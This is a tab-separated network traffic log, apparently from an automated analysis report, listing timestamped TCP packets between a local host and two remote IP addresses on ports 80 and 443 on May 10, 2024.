May 10, 2024 09:20:58.110537052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110548973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110551119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110560894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110564947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110573053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110584021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110586882 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110595942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110608101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110619068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110627890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110630035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110642910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110650063 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110655069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110666037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110666037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110678911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110690117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110693932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110702038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110713005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110718012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110726118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110734940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110738039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110749960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110758066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110764980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110776901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110785007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110805988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110817909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110829115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110831976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110841990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110846043 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110853910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110865116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110867977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110877037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110888958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110899925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110899925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110913038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110920906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110924959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110937119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110944033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110949993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110960960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110965967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110974073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110985994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110996962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111005068 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111011028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111021042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111026049 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111032963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111041069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111058950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111069918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111071110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111083984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111094952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111105919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111114025 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111118078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111130953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111141920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111145020 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111154079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111164093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111166000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111176968 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111179113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111191988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111198902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111203909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111217022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111226082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111244917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111257076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111260891 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111268997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111280918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111291885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111303091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111305952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111315012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111325979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111330986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111354113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111356020 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111366987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111370087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111380100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111391068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111397982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111402988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111414909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111424923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111426115 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111437082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.111440897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.111485958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112134933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112147093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112170935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112180948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112191916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112198114 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112204075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112212896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112219095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112231016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112232924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112243891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112253904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112265110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112270117 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112277031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112287998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112298965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112303019 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112312078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112319946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112334967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112337112 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112346888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112358093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112366915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112370014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112381935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112390995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112395048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112407923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112412930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112421036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112431049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112442970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112442970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112454891 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112457037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112469912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112481117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112492085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112495899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112504005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112523079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112525940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112530947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112539053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112550974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112560987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112572908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112574100 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112585068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112595081 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112596989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112608910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112617016 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112620115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112632990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112644911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112648964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112660885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112672091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112678051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112689972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112699986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112701893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112715006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112720966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112726927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112739086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112746954 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112750053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112761974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112771988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112778902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112783909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112797022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112807989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112818003 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112818956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112833023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112835884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112844944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112852097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112858057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112864971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112870932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112884998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112888098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112896919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112914085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112920046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112931013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112942934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112947941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112955093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112967014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112977982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.112979889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.112993002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113001108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.113003969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113014936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.113025904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113038063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113049984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113060951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113065004 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.113075018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113086939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113090992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.113100052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113104105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.113112926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113126993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113130093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.113138914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113149881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113156080 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.113162041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113173008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113184929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113187075 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.113205910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113209009 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.113219023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113230944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113234997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.113244057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113255024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113266945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113279104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113297939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113300085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.113310099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.113320112 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.113356113 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115241051 CEST	443	49781	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.115288973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115303993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115315914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115328074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115339041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115346909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115350008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115370989 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115380049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115386963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115392923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115405083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115418911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115430117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115432978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115442038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115453959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115464926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115468025 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115477085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115480900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115489006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115498066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115502119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115514040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115520000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115525961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115537882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115544081 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115550041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115562916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115573883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115577936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115586042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115597963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115605116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115611076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115619898 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115622997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115636110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115644932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115648031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115659952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115668058 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115670919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115683079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115694046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115695000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115708113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115715027 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115720034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115732908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115741014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115745068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115756035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115762949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115770102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115782022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115792036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115799904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115803003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115816116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115828037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115835905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115839958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115850925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115861893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115869045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115874052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115885973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115890026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115897894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115905046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115911007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115921974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115931988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115931988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115945101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115956068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115957022 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115969896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115973949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.115982056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.115994930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116005898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116009951 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116018057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116029978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116034031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116044998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116055012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116056919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116069078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116079092 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116080999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116094112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116111040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116115093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116128922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116132021 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116142035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116147995 CEST	49781	443	192.168.2.4	172.66.40.85
